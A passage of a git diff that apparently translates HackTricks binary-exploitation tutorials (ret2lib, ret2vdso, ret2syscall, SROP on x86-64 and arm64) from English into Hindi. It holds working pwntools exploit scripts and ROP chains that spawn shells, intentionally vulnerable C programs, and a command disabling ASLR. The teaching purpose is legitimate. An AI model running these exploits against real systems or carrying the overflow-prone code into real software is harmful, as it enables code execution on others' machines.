libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) print(P.clean()) @@ -189,41 +184,30 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +## सामान्य समस्याएँ -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code: +### MAIN_PLT = elf.symbols\['main'] नहीं मिला +यदि "main" प्रतीक मौजूद नहीं है (संभवतः क्योंकि यह एक स्ट्रिप्ड बाइनरी है)। तो आप बस यह पता कर सकते हैं कि मुख्य कोड कहाँ है: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +और पते को मैन्युअल रूप से सेट करें: ```python MAIN_PLT = 0x401080 ``` +### Puts नहीं मिला -### Puts not found +यदि बाइनरी Puts का उपयोग नहीं कर रही है तो आपको **जांच करनी चाहिए कि क्या यह उपयोग कर रही है** -If the binary is not using Puts you should **check if it is using** +### `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +यदि आप **सभी** एक्सप्लॉइट बनाने के बाद यह **त्रुटि** पाते हैं: `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला` +कोशिश करें कि **"/bin/sh" के पते से 64 बाइट घटाएं**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index a3a6c9ed5..269e26227 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -4,10 +4,9 @@ ## Basic Information -There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. - -Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with: +vDSO क्षेत्र में **गैजेट्स हो सकते हैं**, जिसका उपयोग उपयोगकर्ता मोड से कर्नेल मोड में बदलने के लिए किया जाता है। इस प्रकार की चुनौतियों में, आमतौर पर vDSO क्षेत्र को डंप करने के लिए एक कर्नेल इमेज प्रदान की जाती है। +[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) से उदाहरण लेते हुए, यह देखना संभव है कि vdso अनुभाग को कैसे डंप किया गया और इसे मेज़बान पर कैसे स्थानांतरित किया गया: ```bash # Find addresses cat /proc/76/maps @@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` - -ROP gadgets found: - +ROP गैजेट्स मिले: ```python vdso_addr = 0xf7ffc000 @@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` - > [!CAUTION] -> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> ध्यान दें कि यदि कर्नेल को CONFIG_COMPAT_VDSO के साथ संकलित किया गया है तो **vdso का दुरुपयोग करके ASLR को बायपास करना संभव हो सकता है** क्योंकि vdso पता यादृच्छिक नहीं होगा: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: +kali 2023.2 arm64 में एक बाइनरी के vdso अनुभाग को डंप और जांचने के बाद, मुझे वहां कोई दिलचस्प गैजेट नहीं मिला (स्टैक में मानों से रजिस्टर को नियंत्रित करने का कोई तरीका नहीं या ret के लिए x30 को नियंत्रित करने का कोई तरीका नहीं) **सिवाय SROP को कॉल करने के एक तरीके के**। पृष्ठ के उदाहरण में अधिक जानकारी देखें: {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 444927dfd..83b86c780 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -4,24 +4,23 @@ ## Basic Information -This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. +यह Ret2lib के समान है, हालाँकि, इस मामले में हम किसी पुस्तकालय से एक फ़ंक्शन को कॉल नहीं करेंगे। इस मामले में, सब कुछ `sys_execve` syscall को कुछ तर्कों के साथ `/bin/sh` निष्पादित करने के लिए कॉल करने के लिए तैयार किया जाएगा। यह तकनीक आमतौर पर उन बाइनरी पर की जाती है जो स्थिर रूप से संकलित होती हैं, इसलिए वहाँ कई गैजेट और syscall निर्देश हो सकते हैं। -In order to prepare the call for the **syscall** it's needed the following configuration: +**syscall** के लिए कॉल तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है: -- `rax: 59 Specify sys_execve` -- `rdi: ptr to "/bin/sh" specify file to execute` -- `rsi: 0 specify no arguments passed` -- `rdx: 0 specify no environment variables passed` +- `rax: 59 sys_execve निर्दिष्ट करें` +- `rdi: ptr to "/bin/sh" फ़ाइल को निष्पादित करने के लिए निर्दिष्ट करें` +- `rsi: 0 कोई तर्क नहीं दिया गया` +- `rdx: 0 कोई पर्यावरण चर नहीं दिया गया` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. +तो, मूल रूप से, `/bin/sh` को कहीं लिखना आवश्यक है और फिर `syscall` करना है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहना)। इसके लिए, हमें एक गैजेट की आवश्यकता है जो `/bin/sh` को एक ज्ञात क्षेत्र में लिख सके। > [!TIP] -> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> कॉल करने के लिए एक और दिलचस्प syscall **`mprotect`** है जो एक हमलावर को **मेमोरी में एक पृष्ठ की अनुमतियों को संशोधित करने** की अनुमति देगा। इसे [**ret2shellcode**](../../stack-overflow/stack-shellcode/) के साथ जोड़ा जा सकता है। ## Register gadgets -Let's start by finding **how to control those registers**: - +आइए **उन रजिस्टरों को नियंत्रित करने के तरीके** को खोजने से शुरू करें: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +इन पते के साथ, **स्टैक में सामग्री लिखना और इसे रजिस्टर में लोड करना संभव है**। -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## स्ट्रिंग लिखें -## Write string - -### Writable memory - -First you need to find a writable place in the memory +### लिखने योग्य मेमोरी +पहले आपको मेमोरी में एक लिखने योग्य स्थान ढूंढना होगा। ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -46,26 +43,20 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### मेमोरी में स्ट्रिंग लिखें -### Write String in memory - -Then you need to find a way to write arbitrary content in this address - +फिर आपको इस पते पर मनचाही सामग्री लिखने का एक तरीका खोजना होगा ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +### ROP श्रृंखला स्वचालित करें -### Automate ROP chain - -The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions: - +निम्नलिखित कमांड एक स्थिर बाइनरी के लिए पूर्ण `sys_execve` ROP श्रृंखला बनाता है जब वहाँ write-what-where गैजेट्स और syscall निर्देश होते हैं: ```bash ROPgadget --binary vuln --ropchain ``` - -#### 32 bits - +#### 32 बिट्स ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -87,9 +78,7 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - -#### 64 bits - +#### 64 बिट्स ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -105,17 +94,15 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## Gadgets की कमी -## Lacking Gadgets - -If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack: +यदि आप **gadgets की कमी** महसूस कर रहे हैं, उदाहरण के लिए `/bin/sh` को मेमोरी में लिखने के लिए, तो आप स्टैक से सभी रजिस्टर मानों (RIP और params रजिस्टर सहित) को नियंत्रित करने के लिए **SROP तकनीक** का उपयोग कर सकते हैं: {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} -## Exploit Example - +## Exploit उदाहरण ```python from pwn import * @@ -182,14 +169,13 @@ target.sendline(payload) target.interactive() ``` - -## Other Examples & References +## अन्य उदाहरण और संदर्भ - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. +- 64 बिट, कोई PIE नहीं, nx, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused +- 64 बिट, nx, कोई PIE नहीं, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। स्टैक में लिखने के लिए एक ऐसा फ़ंक्शन जो गणितीय संचालन करता है, का दुरुपयोग किया जाता है। - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 बिट, कोई PIE नहीं, nx, BF कैनरी, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 5b912eab8..4e8845153 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -2,80 +2,73 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64 का परिचय यहाँ खोजें: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## कोड -We are going to use the example from the page: +हम पृष्ठ से उदाहरण का उपयोग करने जा रहे हैं: {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +पीआईई और कैनरी के बिना संकलित करें: ```bash clang -o ret2win ret2win.c -fno-stack-protector ``` - ## Gadgets -In order to prepare the call for the **syscall** it's needed the following configuration: +**syscall** के लिए कॉल तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है: - `x8: 221 Specify sys_execve` - `x0: ptr to "/bin/sh" specify file to execute` - `x1: 0 specify no arguments passed` - `x2: 0 specify no environment variables passed` -Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine: - +ROPgadget.py का उपयोग करके, मैं मशीन के libc पुस्तकालय में निम्नलिखित गैजेट्स को खोजने में सक्षम था: ```armasm ;Load x0, x1 and x3 from stack and x5 and call x5 0x0000000000114c30: - ldp x3, x0, [sp, #8] ; - ldp x1, x4, [sp, #0x18] ; - ldr x5, [sp, #0x58] ; - ldr x2, [sp, #0xe0] ; - blr x5 +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr x2, [sp, #0xe0] ; +blr x5 ;Move execve syscall (0xdd) to x8 and call it 0x00000000000bb97c : - nop ; - nop ; - mov x8, #0xdd ; - svc #0 +nop ; +nop ; +mov x8, #0xdd ; +svc #0 ``` - -With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall. +पिछले गैजेट्स के साथ, हम स्टैक से सभी आवश्यक रजिस्टरों को नियंत्रित कर सकते हैं और syscall को कॉल करने के लिए दूसरे गैजेट पर कूदने के लिए x5 का उपयोग कर सकते हैं। > [!TIP] -> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. +> ध्यान दें कि libc लाइब्रेरी से इस जानकारी को जानने से ret2libc हमले को भी करना संभव है, लेकिन चलिए इसे इस वर्तमान उदाहरण के लिए उपयोग करते हैं। ### Exploit - ```python from pwn import * @@ -124,5 +117,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 20e07f3f2..5e2157fc0 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -4,23 +4,22 @@ ## Basic Information -**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. +**`Sigreturn`** एक विशेष **syscall** है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल वे व्यवधान हैं जो ऑपरेटिंग सिस्टम द्वारा एक प्रोग्राम को भेजे जाते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह अस्थायी रूप से अपने वर्तमान कार्य को रोकता है ताकि सिग्नल को एक **सिग्नल हैंडलर** के साथ संभाला जा सके, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है। -After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. +सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कुछ हुआ ही न हो। यहीं पर **`sigreturn`** का काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है। -The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. +दिलचस्प बात यह है कि **`sigreturn`** प्रोग्राम की स्थिति को कैसे बहाल करता है: यह **CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके** ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता, तो **`sigreturn` इन मानों को स्टैक से पॉप करता है**, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति में रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है। > [!CAUTION] -> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. +> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों को जोड़ना** जिन्हें हम **स्टैक** में लोड करना चाहते हैं, यह संभव बनाता है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`। -Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: +ध्यान दें कि यह एक **Ret2syscall** का **प्रकार** होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है: {{#ref}} ../rop-syscall-execv/ {{#endref}} -If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): - +यदि आप जिज्ञासु हैं, तो यह **sigcontext संरचना** है जो स्टैक में संग्रहीत होती है ताकि बाद में मानों को पुनर्प्राप्त किया जा सके (चित्र [**यहां**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) से): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l | __reserved | sigmask | +--------------------+--------------------+ ``` - -For a better explanation check also: +एक बेहतर व्याख्या के लिए देखें: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -## Example - -You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there: +## उदाहरण +आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से निर्मित किया गया है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है: ```python from pwn import * @@ -91,9 +88,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**: - +यहाँ [**यहाँ से एक्सप्लॉइट**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) को भी चेक करें जहाँ बाइनरी पहले से ही `sigreturn` को कॉल कर रही थी और इसलिए इसे **ROP** के साथ बनाने की आवश्यकता नहीं है: ```python from pwn import * @@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive() ``` - -## Other Examples & References +## अन्य उदाहरण और संदर्भ - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. +- Assembly बाइनरी जो **स्टैक पर लिखने** की अनुमति देती है और फिर **`sigreturn`** syscall को कॉल करती है। यह संभव है कि स्टैक पर एक [**ret2syscall**](../rop-syscall-execv/) को **sigreturn** संरचना के माध्यम से लिखा जाए और बाइनरी की मेमोरी के अंदर फ्लैग को पढ़ा जाए। - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). +- Assembly बाइनरी जो **स्टैक पर लिखने** की अनुमति देती है और फिर **`sigreturn`** syscall को कॉल करती है। यह संभव है कि स्टैक पर एक [**ret2syscall**](../rop-syscall-execv/) को **sigreturn** संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग `/bin/sh` है)। - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. +- 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। `gets` फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो [**ret2syscall**](../rop-syscall-execv/) को निष्पादित करता है। ROP श्रृंखला `/bin/sh` को `.bss` में लिखती है, फिर से gets को कॉल करके, यह **`alarm`** फ़ंक्शन का दुरुपयोग करती है ताकि eax को `0xf` पर सेट किया जा सके ताकि एक **SROP** को कॉल किया जा सके और एक शेल निष्पादित किया जा सके। - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. +- 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह स्टैक में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह `exit` को कॉल करता है। चयनित syscall एक `sigreturn` है जो रजिस्टर सेट करेगा और `eip` को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को `rwx` पर सेट करने के लिए `memprotect` को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा। - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. +- SROP का उपयोग निष्पादन विशेषाधिकार (memprotect) देने के लिए किया जाता है उस स्थान पर जहां एक शेलकोड रखा गया था। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ad3191732..2a9d95635 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -2,10 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Pwntools example - -This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**: +## Pwntools उदाहरण +यह उदाहरण कमजोर बाइनरी बना रहा है और इसका शोषण कर रहा है। बाइनरी **स्टैक में पढ़ता है** और फिर **`sigreturn`** को कॉल करता है: ```python from pwn import * @@ -33,55 +32,49 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` +## bof उदाहरण -## bof example - -### Code - +### कोड ```c #include #include #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("mov x8, 0x8b; svc 0;"); - return; +if (do_arg == 1) +__asm__("mov x8, 0x8b; svc 0;"); +return; } char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - do_stuff(2); - return 0; +char* b = gen_stack(); +do_stuff(2); +return 0; } ``` - -Compile it with: - +इसे संकलित करें: ```bash clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` - ## Exploit -The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. - +यह एक्सप्लॉइट bof का उपयोग **`sigreturn`** को कॉल करने के लिए करता है और स्टैक को **`execve`** को `/bin/sh` के पॉइंटर के साथ कॉल करने के लिए तैयार करता है। ```python from pwn import * @@ -110,44 +103,40 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` +## bof उदाहरण बिना sigreturn -## bof example without sigreturn - -### Code - +### कोड ```c #include #include #include char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - return 0; +char* b = gen_stack(); +return 0; } ``` - ## Exploit In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
